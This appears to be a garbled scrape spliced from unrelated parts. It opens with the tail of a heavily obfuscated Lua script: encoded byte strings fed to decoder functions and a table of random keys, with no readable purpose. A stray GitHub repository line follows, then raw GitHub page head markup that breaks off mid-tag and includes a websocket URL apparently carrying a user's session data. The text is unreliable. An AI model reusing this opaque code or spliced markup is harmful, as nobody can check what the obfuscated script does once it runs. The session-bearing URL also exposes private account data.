79\69\116\88\69\106\119\90\0\1\11\0\0\0\0\146\23\237\0\95\0\221\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\129\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\18\0\0\0\1\5\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\0\1\0\3\6\64\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\12\1\0\3\6\128\64\0\0\1\5\38\0\0\0\0\0\0\0\6\1\0\3\6\192\64\0\0\1\5\38\0\0\0\0\0\0\0\3\1\0\3\6\0\65\0\0\1\5\38\0\0\0\0\0\0\0\16\1\0\3\6\64\65\0\0\0\31\1\38\0\0\0\14\1\0\0\1\1\0\4\9\192\65\131\0\6\0\0\0\0\225\5\38\0\7\0\9\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\20\0\0\0\203\5\0\0\0\115\65\84\122\0\203\23\0\0\0\103\66\79\126\88\70\110\96\86\118\53\16\17\18\42\23\34\6\44\16\39\21\0\203\5\0\0\0\121\79\86\123\0\203\7\0\0\0\114\77\86\107\72\93\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\7\0\0\0\96\78\71\126\72\94\0\203\7\0\0\0\90\80\86\109\76\103\0\203\5\0\0\0\114\105\89\107\0\203\5\0\0\0\118\72\86\109\0\203\4\0\0\0\102\89\89\0\203\4\0\0\0\123\69\64\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\6\0\0\0\67\65\69\120\88\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\5\0\0\0\93\69\86\123\0\203\8\0\0\0\65\69\79\107\94\71\110\0\203\5\0\0\0\114\65\90\122\0\203\12\0\0\0\98\72\94\107\78\89\98\103\75\119\107\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\6\0\0\0\86\72\66\113\64\0\1\11\0\0\0\0\146\23\237\0\253\0\240\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\65\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\16\0\0\0\1\5\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\13\1\0\3\6\64\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\4\1\0\3\6\128\64\0\0\1\5\38\0\0\0\0\0\0\0\11\1\0\3\6\192\64\0\0\1\5\38\0\0\0\0\0\0\0\14\1\0\3\6\0\65\0\0\1\5\38\0\0\0\0\0\0\0\0\1\0\3\6\64\65\0\0\0\31\1\38\0\0\0\15\1\0\0\1\1\0\4\9\192\65\131\0\6\0\0\0\0\225\5\38\0\1\0\18\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\20\0\0\0\203\8\0\0\0\65\69\79\107\94\71\110\0\203\4\0\0\0\121\69\89\0\203\9\0\0\0\74\127\94\113\66\65\84\75\0\203\5\0\0\0\114\65\90\122\0\203\23\0\0\0\103\66\79\126\88\70\110\96\86\118\53\16\17\23\46\18\44\13\45\18\33\28\0\203\7\0\0\0\102\73\77\122\68\83\0\203\5\0\0\0\91\65\90\122\0\203\8\0\0\0\112\78\84\109\82\69\127\0\203\5\0\0\0\93\69\86\123\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\5\0\0\0\115\65\84\122\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\10\0\0\0\74\127\84\112\69\70\127\75\96\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\6\0\0\0\97\65\85\115\78\0\203\10\0\0\0\74\127\94\113\88\65\121\75\96\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\12\0\0\0\98\72\94\107\78\89\98\103\75\119\107\0\203\13\0\0\0\98\65\91\115\82\21\98\103\31\117\110\70\0\1\11\0\0\0\0\146\23\237\0\55\0\95\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\205\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\3\0\0\0\1\5\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\13\1\0\3\6\64\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\9\1\0\3\6\128\64\0\0\1\5\38\0\0\0\0\0\0\0\17\1\0\3\6\192\64\0\0\1\5\38\0\0\0\0\0\0\0\8\1\0\3\6\0\65\0\0\1\5\38\0\0\0\0\0\0\0\10\1\0\3\6\64\65\0\0\0\31\1\38\0\0\0\0\1\0\0\4\1\0\4\9\192\65\131\0\6\0\0\0\0\225\5\38\0\1\0\3\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\12\0\0\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\34\0\0\0\125\84\67\111\88\15\36\59\79\115\124\75\91\66\117\76\59\92\115\74\62\95\82\99\17\76\123\68\79\80\121\49\111\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\6\0\0\0\101\67\86\115\71\0\203\7\0\0\0\114\115\94\101\78\65\0\203\7\0\0\0\103\65\64\120\78\65\0\203\13\0\0\0\98\65\91\115\82\21\98\103\31\117\110\70\0\203\10\0\0\0\74\127\84\112\69\70\127\75\96\0\203\5\0\0\0\114\65\90\122\0\203\13\0\0\0\102\69\67\114\78\65\106\96\94\112\99\90\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\8\0\0\0\93\84\67\111\108\80\127\0\1\11\0\0\0\0\146\23\237\0\121\0\205\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\219\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\2\0\0\0\1\5\0\0\0\0\4\0\0\0\1\4\183\0\1\0\8\0\0\0\1\69\64\0\0\0\0\168\1\38\0\1\0\1\0\0\0\11\1\0\3\75\128\192\0\0\5\0\0\0\0\88\0\183\0\3\0\1\0\0\0\1\193\192\0\0\0\6\0\0\0\0\235\2\38\0\1\0\3\0\0\0\0\0\0\0\92\0\128\1\0\7\0\0\0\1\7\38\0\0\0\0\0\0\0\2\0\0\0\28\128\0\0\0\0\56\35\38\0\0\0\12\0\0\0\7\0\0\0\28\64\128\0\0\8\0\0\0\0\225\5\38\0\8\0\23\0\0\0\0\0\0\0\30\0\128\0\0\9\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\24\0\0\0\203\13\0\0\0\114\69\67\114\78\65\106\96\94\112\99\90\0\203\8\0\0\0\81\69\68\107\89\90\114\0\203\6\0\0\0\67\65\69\120\88\0\203\7\0\0\0\116\83\68\122\89\65\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\7\0\0\0\116\83\68\122\89\65\0\203\10\0\0\0\98\79\69\116\88\69\106\119\90\0\203\7\0\0\0\116\83\68\122\89\65\0\203\8\0\0\0\114\115\67\109\66\91\108\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\5\0\0\0\93\69\86\123\0\117\0\0\0\0\0\0\240\63\203\8\0\0\0\114\69\67\120\78\91\125\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\13\0\0\0\65\82\86\113\88\69\106\102\90\124\108\70\0\203\7\0\0\0\116\83\68\122\89\65\0\203\8\0\0\0\93\84\67\111\108\80\127\0\203\6\0\0\0\101\67\86\115\71\0\203\7\0\0\0\96\78\71\126\72\94\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\5\0\0\0\114\65\90\122\0\203\5\0\0\0\115\65\84\122\0\203\6\0\0\0\53\66\78\107\78\0\1\32\0\0\0\0\146\23\237\0\160\0\198\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\234\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\12\0\0\0\1\5\0\0\0\0\4\0\0\0\0\175\23\38\0\0\0\16\0\0\0\2\0\0\0\28\128\128\0\0\5\0\0\0\0\118\37\38\0\0\0\0\0\0\0\21\1\0\3\6\64\64\0\0\6\0\0\0\1\6\38\0\0\0\0\0\0\0\14\1\0\3\6\128\64\0\0\1\6\38\0\0\0\0\0\0\0\4\1\0\3\6\192\64\0\0\1\6\38\0\0\0\0\0\0\0\9\1\0\3\6\0\65\0\0\1\6\38\0\0\0\0\0\0\0\10\1\0\3\6\64\65\0\0\0\31\1\38\0\0\0\15\1\0\0\11\1\0\4\9\192\65\131\0\7\0\0\0\1\4\183\0\0\0\12\0\0\0\1\5\0\0\0\0\1\5\38\0\0\0\5\0\0\0\2\0\0\0\28\128\128\0\0\1\6\38\0\0\0\0\0\0\0\21\1\0\3\6\64\64\0\0\1\6\38\0\0\0\0\0\0\0\14\1\0\3\6\128\64\0\0\1\6\38\0\0\0\0\0\0\0\4\1\0\3\6\192\64\0\0\1\6\38\0\0\0\0\0\0\0\9\1\0\3\6\0\65\0\0\1\6\38\0\0\0\0\0\0\0\10\1\0\3\6\64\65\0\0\1\6\38\0\0\0\0\0\0\0\22\1\0\3\6\0\66\0\0\0\168\1\38\0\0\0\0\0\0\0\1\1\0\3\11\64\66\0\0\8\0\0\0\0\228\8\38\0\0\0\2\0\0\0\7\0\0\0\28\64\0\1\0\9\0\0\0\1\4\183\0\0\0\12\0\0\0\1\5\0\0\0\0\1\5\38\0\0\0\3\0\0\0\2\0\0\0\28\128\128\0\0\1\6\38\0\0\0\0\0\0\0\21\1\0\3\6\64\64\0\0\1\6\38\0\0\0\0\0\0\0\14\1\0\3\6\128\64\0\0\1\6\38\0\0\0\0\0\0\0\4\1\0\3\6\192\64\0\0\1\6\38\0\0\0\0\0\0\0\9\1\0\3\6\0\65\0\0\1\6\38\0\0\0\0\0\0\0\10\1\0\3\6\64\65\0\0\1\6\38\0\0\0\0\0\0\0\22\1\0\3\6\0\66\0\0\1\8\38\0\0\0\0\0\0\0\1\1\0\3\11\64\66\0\0\1\9\38\0\0\0\2\0\0\0\13\0\0\0\28\64\0\1\0\0\225\5\38\0\23\0\2\0\0\0\0\0\0\0\30\0\128\0\0\10\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\34\0\0\0\203\10\0\0\0\44\16\5\38\31\7\59\45\12\0\203\38\0\0\0\125\84\67\111\17\26\36\102\80\112\99\80\70\14\127\77\120\16\125\84\98\72\71\59\1\98\69\33\38\24\29\49\26\34\43\45\45\0\203\7\0\0\0\114\115\94\101\78\65\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\2\0\0\0\36\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\9\0\0\0\74\127\94\113\66\65\84\75\0\203\14\0\0\0\71\73\80\119\95\121\100\99\90\96\67\90\89\0\203\13\0\0\0\65\82\86\113\88\69\106\102\90\124\108\70\0\203\13\0\0\0\102\69\67\114\78\65\106\96\94\112\99\90\0\203\10\0\0\0\44\16\5\38\31\7\59\44\6\0\203\7\0\0\0\114\98\94\107\88\13\0\203\10\0\0\0\65\69\79\107\94\71\110\93\123\0\203\7\0\0\0\114\77\86\107\72\93\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\10\0\0\0\98\79\69\116\88\69\106\119\90\0\203\7\0\0\0\102\84\69\118\69\82\0\203\4\0\0\0\102\89\89\0\203\10\0\0\0\71\73\80\119\95\115\100\123\75\0\203\42\0\0\0\125\84\67\111\17\26\36\99\72\101\33\77\81\66\112\77\109\17\127\72\124\2\82\103\77\110\85\51\32\65\75\52\23\33\42\45\33\4\47\47\62\0\203\23\0\0\0\120\69\91\126\69\86\99\123\83\107\47\86\77\0\107\71\124\77\120\25\43\5\0\203\14\0\0\0\71\73\80\119\95\96\123\100\90\96\67\90\89\0\203\5\0\0\0\118\72\86\109\0\203\7\0\0\0\88\69\68\119\98\81\0\203\7\0\0\0\96\78\71\126\72\94\0\203\5\0\0\0\114\65\90\122\0\203\5\0\0\0\114\65\90\122\0\203\16\0\0\0\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\8\0\0\0\93\84\67\111\108\80\127\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\6\0\0\0\101\67\86\115\71\0\203\4\0\0\0\123\69\64\0\1\20\0\0\0\0\146\23\237\0\6\0\227\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\245\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\25\0\0\0\1\5\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\3\1\0\3\6\64\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\5\1\0\3\6\128\64\0\0\1\5\38\0\1\0\0\0\0\0\30\1\0\3\70\192\64\0\0\1\5\38\0\2\0\1\0\0\0\7\1\0\3\134\0\193\0\0\0\31\1\38\0\2\0\23\1\0\0\0\1\0\4\137\128\193\130\0\6\0\0\0\1\5\38\0\2\0\1\0\0\0\7\1\0\3\134\0\193\0\0\1\6\38\0\2\0\8\1\0\0\4\1\0\4\137\0\194\131\0\1\5\38\0\2\0\1\0\0\0\21\1\0\3\134\64\194\0\0\1\6\38\0\2\0\23\1\0\0\19\1\0\4\137\128\194\130\0\1\5\38\0\2\0\1\0\0\0\21\1\0\3\134\64\194\0\0\1\6\38\0\2\0\12\1\0\0\1\1\0\4\137\0\195\133\0\1\5\38\0\2\0\1\0\0\0\18\1\0\3\134\64\195\0\0\1\6\38\0\2\0\23\1\0\0\10\1\0\4\137\128\195\130\0\1\5\38\0\2\0\1\0\0\0\18\1\0\3\134\64\195\0\0\1\6\38\0\2\0\8\1\0\0\4\1\0\4\137\0\194\131\0\0\225\5\38\0\18\0\23\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))end;return d(c())end end end)({[-123.41276841798594]="HU1rOEkuH1NNdJ5Z3yKCJ8X0Xl";["fHWF7c7"]="Mc0tjlKj5sf8QhVIywL_Ujnu";[-104.10458573352068]="iHddjSrpjC0ATrTlz_NM";[405.0785930542498]="qqZ6j2u0Hp1";[407.37050810920624]="ZHPN36kKAI2oKej8hOAlLAs4KZs";["9Uzom"]="g6cAcrn2gFMOQu7Zu49PCsA43o2";[-145.43795953977573]="lQL4yiPGkZl";[-85.15277690907209]="60bOvj7kG";[85.53112331965713]="anpljcwukL13tgU4tvdCp";[-281.87316689761036]="nu5UvuLzxP4SS4ZY";[322.318342989022]="MP86KMEmwP4zw_P";["u0B79x"]="qajTXKR_oNgjrXfpH";["COu8JgxLGhU64rw_2IIfP3"]="eZnExr4PG95TDrCww";["sX8QCpwt"]="V1LeVZIUgGFAixId0ACK";[291.65274954228084]="Ztk8D2KQt";[-77.55135505516492]="Jzj8R76qGY";["K4jBufxQJfpjC2E29hTXKB7mTDrXx"]="G_M710LQHTB";["m2Mc98MuJCZBz3HUThKaeshABL2o"]="kqQgEZR7";["hHzvkTDTcj9nYWBqlOu8E"]="Upn1Bmq2K";[153.9810358866488]="CjeqaNtV";[-196.87944694023582]="Xcy4HjzJI76";["wlWPdGKlXgq"]="gW4choLYY7xG92yXwz9";[-200.5330320984226]="gY8p6m3vgb";[305.9727621357435]="ub7BbYPF7mF99MDL9WKPqk0s";["bkep6P"]="z_FHLBnHHCkddbpom84fuP";[37.1103344240891]="PXOFBf69";[-125.4288800204746]="CnDFfY6edz";["lazL8"]="XiMHo83m4ge";["OT_NEDUJ"]="Fi1e6R90";["h30mJOQgcGJXvDD7UYtolDHNn"]="xmzIzkr9GmHZJctHxmnZQ8iZOc";[110.51411935042438]="hLy1wWjZMLw";[-90.0460458520057]="mXYZitV8ry2ifB";[-249.08907447698027]="kqnlUdKnIAa8MSF";[300.595782321493]="CX0bM6CAgqHsHoSyZx";[1]=c();[18.614725045643556]="ENtSffZ5B";[-210.90406853419975]="tC_CbNtMGRsJ";["kqN2YKH5"]="g8rtqT8u0ZmXi";[114.75836277539071]="FveKwPKrv";[2]=a;[-101.29625214459625]="MUlx_ffJ103yoKcX";[-68.63070130850235]="Fb8uKSCC1m1Cc";[72.22743904961953]="F3PP8M8fPmra4n7u7oGGGlAW";[59.59411284959616]="KKlJD1H7TDvJdIt"})
GitHub Repo https://github.com/NhaPhatHanh/github

NhaPhatHanh/github

<!DOCTYPE html> <html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link crossorigin="anonymous" media="all" integrity="sha512-7KjiGvJiLLy6LJPGf3m67ejAdgQsgDdnxZYoaI6+Agd0ZxHKTCjoKZgaf3PgUjURCcVceAwySJJJWgitRskDiA==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-eca8e21af2622cbcba2c93c67f79baed.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-ZS0ILXChK0v6MFarr5VP2Qq916nqPSByfcud8IEvgXav8xbAAafFHX22IuZOi5/ZkKbLgOmqFkezGZVyANnFrQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-652d082d70a12b4bfa3056abaf954fd9.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-ec37dkdwRxMnZ+C8WVJL5fX0MDw39MbZDqmjBB3JFemYXHZrq3E3F25pcbYUEmuB29eH0L5f+KOgO+FQNEFTgw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-79cdfb76477047132767e0bc59524be5.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-CzeY4A6TiG4fGZSWZU8FxmzFFmcQFoPpArF0hkH0/J/S7UL4eed/LKEXMQXfTwiG5yEJBI+9BdKG8KQJNbhcIQ==" type="application/javascript" src="https://github.githubassets.com/assets/environment-0b3798e0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ahOZvzpz/+SYFONmTAqBCwF04p4zvYweAHl7o69sVAwf0oxqMEyVZa//FnA859IbgU9lzj55LagjePKStkjwpw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-6a1399bf.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-+1BN8W3XvQeL2HiktoDjb/NDm2W8tp9hDUb+NL4vabH/tvhdLZIdE9tYL3xRh6HDsc7JpvlTmu2m7CllRB+QYA==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-fb504df1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ujoCDv+gZj/v2aljXWMjKWNPoZ/QeENSASFGNBTO7smC7I/GC8hPqneWuaD2coIvzq6i7mLCLbg/SG39CdT1qA==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-ba3a020e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tjuNQcwhEIXGvVIG4XM/Aj4z+Od+NBRkbgWNwEMjGL3nsnAmdoBdbzsn/WTvl3hk+TPt1D0BvBLHLBPgiwvT2w==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-b63b8d41.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-+BKEtK9JkmJ52jKSoX6+SBrGV6kJxB8J/iAPkFQ/oeq8YekNcz7IZlJgM5Tddyx1RrkL3+sdG0tAy3YuFbYqfA==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-f81284b4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EKOvqJ9uTatAt87WxU+OSS4mi7gMUszFbGo4aPErQkjpWLXnrPSeZvK5ngU8OYoIoiVOq+v8dA3C6MF/z2d/kA==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-10a3afa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zkYZSjUFqSifB+Lt76jclFMrfqpcPqevT801RZcoBNCZHRTBKcFrW9OyJoPOzKFv+fZVDRnqdqGsuIv5KOIgZg==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-ce46194a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6j/oSF+kbW+yetNPvI684VzAu9pzug6Vj2h+3u1LdCuRhR4jnuiHZfeQKls3nxcT/S3H+oIt7FtigE/aeoj+gg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-ea3fe848.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-N+ziqJjVMfWiqeVHdayDHpNRlG5HsF+cgV+pFnMDoTJuvBzgw+ndsepe4NcKAxIS3WMvzMaQcYmd2vrIaoAJVg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-37ece2a8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aiqMIGGZGo8AQMjcoImKPMTsZVVRl6htCSY7BpRmpGPG/AF+Wq+P/Oj/dthWQOIk9cCNMPEas7O2zAR6oqn0tA==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-6a2a8c20.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-G3/1Wo8nza2llJz848q++KJXUpeUuHcSDvXLcJzqQZDBLXm/PaOchsesQlyxX/3bXdasUpOE217R8Ln6vTqMHA==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-1b7ff55a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-XwuQdORq1W9Z+a/i72pH+NfR1rhwlGdxIlaIBbTciscGc/+McxMNLixGBp8e6Td4W1zzHvQ1Jyryl5gUfEr76g==" type="application/javascript" data-module-id="./chunk-insights-graph.js" data-src="https://github.githubassets.com/assets/chunk-insights-graph-5f0b9074.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-cdGVmQXhZYV6/Qj5QsArM/LjCG6qatgnsAE6W5y9UOHI+J2NdRU7l3IPlxh1zKNwgt5FWXnvrpyEIL7pc3aihg==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-71d19599.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-supZkxo+OPYLNtLXxI+e1dkCqVySu4FOWX1fiVVFs2ZggygppNsEz4F9wVp4YtH2TjFsZW8r/75uDUhPneO2sA==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-b2ea5993.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ma0OOy3nj0c1cqBx0BkcmIFsLqcSZ+MIukQxyEFM/OWTzZpG+QMgOoWPAHZz43M6fyjAUG1jH6c/6LPiiKPCyw==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-99ad0e3b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zh+tYYvd4W00us1O4PkhmKsl/CzInIyrdoMqV2xqC7XPu06UEHfEMJfOiwidJ5f80SwrdGWogWFuJzLHwRbRgA==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-ce1fad61.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Zii9oRdZ6q2QDNjL5A+me7jwJjMLvs1NiQNHmajUZnn4t9shcBDb4F8l/PQZW26eYfe5065oM7lIOSmbMinA7Q==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-6628bda1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-9WNXtB07IyWypiPmkuucspwog4mme9q5GKGMSgd7FI0DPimmg/pEw+aaAofFV1vuWMt9I8H5QpsVtlbHGg1YBA==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-f56357b4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-fIq9Mn7jY/bHQXnsmh+VejpDnaO+d/FDxsp+4CuZtdNLrLuO+dQCjh+m6Yd8GCYD2Cy6DWbCEyM+mH2dkB2H9A==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-7c8abd32.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-WK8VXw3lfUQ/VRW0zlgKPhcMUqH0uTnB/KzePUPdZhCm/HpxfXXHKTGvj5C0Oex7+zbIM2ECzULbtTCT4ug3yg==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-58af155f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vgHJEmEJxNmHucGbVY8bEUoOYo5/ZwpQ69rU8Dld89daWJ54uad9lNptxq32F8pnbHhdngw9lohNEbMbjmj5AQ==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-be01c912.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aSxfTHAZj9wv7n08DxgAKkNg7jhiTo4yKKbDqLGxcDxUk/al571Y2ZSsOmLJ0Vh8cuAL8tW+JgX1t0JeKfyfaA==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-692c5f4c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FTzn67VUikEWGXoKpUjZgeuNXoI9NQXyuzSfVmtG0gFTy7QZykAwRn4RSvGXc/CPyWYkdiDNlbc0vtP9jfG61w==" type="application/javascript" src="https://github.githubassets.com/assets/dashboard-153ce7eb.js"></script> <meta name="viewport" content="width=device-width"> <title>GitHub</title> <meta name="description" content="GitHub is where people build software. More than 56 million people use GitHub to discover, fork, and contribute to over 100 million projects."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta property="og:url" content="https://github.com"> <meta property="og:site_name" content="GitHub"> <meta property="og:title" content="Build software better, together"> <meta property="og:description" content="GitHub is where people build software. More than 56 million people use GitHub to discover, fork, and contribute to over 100 million projects."> <meta property="og:image" content="https://github.githubassets.com/images/modules/open_graph/github-logo.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="1200"> <meta property="og:image:height" content="1200"> <meta property="og:image" content="https://github.githubassets.com/images/modules/open_graph/github-mark.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="1200"> <meta property="og:image:height" content="620"> <meta property="og:image" content="https://github.githubassets.com/images/modules/open_graph/github-octocat.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="1200"> <meta property="og:image:height" content="620"> <meta property="twitter:site" content="github"> <meta property="twitter:site:id" content="13334762"> <meta property="twitter:creator" content="github"> <meta property="twitter:creator:id" content="13334762"> <meta property="twitter:card" content="summary_large_image"> <meta property="twitter:title" content="GitHub"> <meta property="twitter:description" content="GitHub is where people build software. More than 56 million people use GitHub to discover, fork, and contribute to over 100 million projects."> <meta property="twitter:image:src" content="https://github.githubassets.com/images/modules/open_graph/github-logo.png"> <meta property="twitter:image:width" content="1200"> <meta property="twitter:image:height" content="1200"> <link rel="assets" href="https://github.githubassets.com/"> <link rel="shared-web-socket" href="wss://alive.github.com/_sockets/u/83227313/ws?session=eyJ2IjoiVjMiLCJ1Ijo4MzIyNzMxMywicyI6Njg3OTQzNzU5LCJjIjoxNzgwMjY2MzEwLCJ0IjoxNjE5NTk4OTc0fQ==--c3828368f62e5243e4f48fa946e4cfc901339ea447cd91fb7d9c84f1f918ba2d" data-refresh-url="/_alive" data-session-id="434d9062d48df3ef96d852e9530bffcd43b5ef7fc95d10b99f9259a01724d4ae"> <link rel="shared-web-socket-src" href="/socket-worker-3f088aa2.js"> <link rel="sudo-modal" href="/sessions/sudo_modal"> <meta name="request-id" content="869E:5293:1271A18:13DD4CF:60891E7B" data-pjax-transient="true" /><meta name="html-safe-nonce" content="8fff3e2bd7a4e7ef7b124494a7aecd900fa18b89ccc8e744b383b54609c6385b" data-pjax-transient="true" /><meta name="visitor-payload" 